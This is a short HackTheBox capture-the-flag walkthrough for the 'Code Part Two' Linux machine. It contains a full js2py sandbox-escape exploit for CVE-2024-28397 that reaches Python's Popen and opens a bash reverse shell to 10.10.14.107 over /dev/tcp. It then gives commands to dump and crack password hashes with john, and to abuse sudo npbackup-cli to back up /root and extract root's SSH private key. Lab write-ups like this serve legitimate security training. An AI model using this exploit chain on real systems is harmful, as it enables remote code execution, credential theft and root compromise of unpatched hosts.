Code Part Two writeup & walkthrough

Code Part Two is a medium HackTheBox Linux machine exploiting a js2py sandbox escape (CVE-2024-28397) to gain RCE and then escalating privileges via a vulnerable Python script.

HackTheBox - CodePartTwo

Access Path

no access => app user => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Enumeration:

# We download the app and we see js2py 0.74

Exploit: CVE-2024-28397 - js2py Sandbox Escape

• Payload: https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape

Exploit Code:

# Put the next code after you sign up and sign in
let cmd = "bash -c 'bash >& /dev/tcp/10.10.14.107/4444 0>&1'"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

Extract Credentials:

# Extract from database after rev shell
sqlite3 users.db

# Crack MD5 hashes
john --wordlist=$rockyou hashes.md5 --format=Raw-MD5

Priv Esc

NPBackup Exploitation:

# Edite the .conf file and change path dir to:
- PATH: /root

# Force a backup
sudo npbackup-cli -c npbackup.conf -b -f

# Dump root SSH key
sudo npbackup-cli -c npbackup.conf --dump /root/.ssh/id_rsa